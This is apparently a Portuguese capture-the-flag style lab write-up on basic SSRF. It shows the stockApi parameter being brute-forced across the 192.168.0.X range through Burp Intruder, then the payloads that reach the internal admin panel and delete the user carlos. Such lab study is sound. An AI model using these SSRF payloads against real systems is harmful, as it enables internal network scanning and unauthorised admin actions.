> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssrf/basic-ssrf-against-internal-system.md).

# SSRF Básico Contra um Sistema Interno

## SSRF básico contra outro sistema de back-end

Este laboratório oferece um recurso de verificação de estoque que consulta um serviço interno. / O objetivo é usar esse mecanismo para analisar a faixa interna **192.168.0.X** procurando uma interface de administração na porta **8080**, então exclua o usuário carlos.

#### **Análise e Exploração**

* O **stockApi** o parâmetro é enviado para **Intruder** para automatizar o teste de endereço interno:

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="/files/a2ef9bb894ab0703fab3bcf4333f158894f3a8b2" alt=""><figcaption></figcaption></figure>

Um ataque de força bruta é realizado no **254 endereços possíveis** da faixa interna, todos com o caminho /admin.

Um dicionário de valores é baixado para alimentar o ataque:

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* Após iniciar o ataque, o **192.168.0.14** endereço retorna um \*\*código HTTP 200\*\*, indicando que a interface de administração está acessível.

<figure><img src="/files/8849d35584bc9ce5662bfb64567376339d21454b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/19ccc63b268c2d3c1fac34fdfcb27e40be8e85e5" alt="" width="563"><figcaption></figcaption></figure>

#### **Exclusão do usuário**

* Acesso ao painel de administração:

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="/files/4c654c9925224952ccca7c05d3b816cc70e07378" alt=""><figcaption></figcaption></figure>


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